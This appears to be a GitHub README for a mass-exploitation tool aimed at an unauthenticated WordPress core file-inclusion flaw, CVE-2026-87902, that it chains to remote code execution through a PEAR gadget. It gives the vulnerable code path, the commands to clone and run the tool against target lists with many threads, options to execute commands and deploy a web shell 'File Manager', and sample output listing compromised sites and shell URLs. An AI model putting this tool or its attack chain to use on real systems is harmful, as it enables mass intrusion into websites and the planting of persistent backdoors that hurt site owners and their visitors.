<div align="center">

# 🎯 CVE-2026-87902 — WordPress Core LFI → RCE

<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&amp;logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />

<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&amp;logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&amp;logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />

<br>

<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&amp;size=22&amp;duration=3000&amp;pause=1000&amp;color=F75C7E%C2%A2er=true&amp;vCenter=true&amp;width=700&amp;lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />

<br>

**[🔍 Overview](#-overview) · [⚡ Quick Start](#-quick-start) · [🎯 Usage](#-usage) · [📊 Output](#-output) · [📞 Contact](#-contact)**

</div>

---

## 🔍 Overview

**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.

The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 🎯 Attack Chain

┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ Anonymes POST │───▶│ LFI über │───▶│ PEAR-Gadget │ │ page_id + │ │ page-templates/│ │ config-create │ │ pagename │ │ ../../../ │ │ schreibt Shell │ └─────────────────┘ └──────────────────┘ └──────────────────┘ │ ▼ ┌──────────────────┐ │ 💀 RCE + │ │ Dateimanager │ └──────────────────┘


### ⚠️ Affected Versions

| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` → `7.1.1` | `7.1.2+` |
| **Severity** | 🔴 **CRITICAL** | — |
| **CVSS 4.0** | **9.8** | — |
| **Authentication** | ❌ None required | — |

---

## ⚡ Quick Start

### 📦 Installation

```bash
# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 First Run

# 1. Erstellen Sie Ihre Zieldatei
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Nicht-destruktiver Check (sicher)
python main.py -l targets.txt --check --threads 20

# 3. Vollständiger Exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Usage

📋 Available Modes

Mode	Command	Description
🔍 Check	`python main.py -l targets.txt --check`	Non-destructive LFI detection
💥 LFI	`python main.py -l targets.txt`	Confirm LFI with OPML oracle
⚡ RCE	`python main.py -l targets.txt --rce --command "id"`	Execute commands via PEAR
📁 Shell	`python main.py -l targets.txt --rce --shell`	Deploy File Manager

🔧 Command Line Options

-u, --url URL          Einzelne Ziel-URL
  -l, --list FILE        Datei mit Zielen (eines pro Zeile)
  --check                Nur zerstörungsfreie Prüfung
  --rce                  RCE-Eskalation aktivieren
  --shell                File-Manager-Shell bereitstellen
  --command CMD          Auszuführender Befehl (Standard: id)
  --page-id N            Bestimmte Seiten-ID erzwingen
  --threads N            Parallele Threads (Standard: 20)
  --timeout S            Timeout pro Anfrage (Standard: 12)
  --proxy URL            HTTP(S)-Proxy
  --output FILE          Vollständige Log-Ausgabe
  --output-vuln FILE     Nur anfällige Ziele
  --output-rce FILE      Nur RCE-Ziele
  --no-color             ANSI-Farben deaktivieren

💡 Examples

# Einzelziel mit RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Massenscan mit Proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Benutzerdefinierte Seiten-ID, falls die Erkennung fehlschlägt
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Output

After a successful run, the following files are generated:

File	Contents
📄 `results.txt`	Full scan log
🎯 `vulnerable.txt`	Targets with confirmed LFI
💀 `rce.txt`	Targets with successful RCE
📁 `shells.txt`	File Manager URLs

🖥️ Sample Console Output

CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Betroffen: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (automatische Bereitstellung)
======================================================================
  Modus    : EXPLOIT + FILE MANAGER
  Ziele    : 50
  Threads  : 20
  Timeout  : 12.0s
  Gestartet: 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI bestätigt: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starte RCE + File Manager...
[14:32:18] [+]   Gadget gefunden: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager bereitgestellt: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Gepatcht: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Anfällige Version (5.8.1), aber OPML-Oracle hat nicht ausgelöst
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

CVE-2026-87902

Beliebteste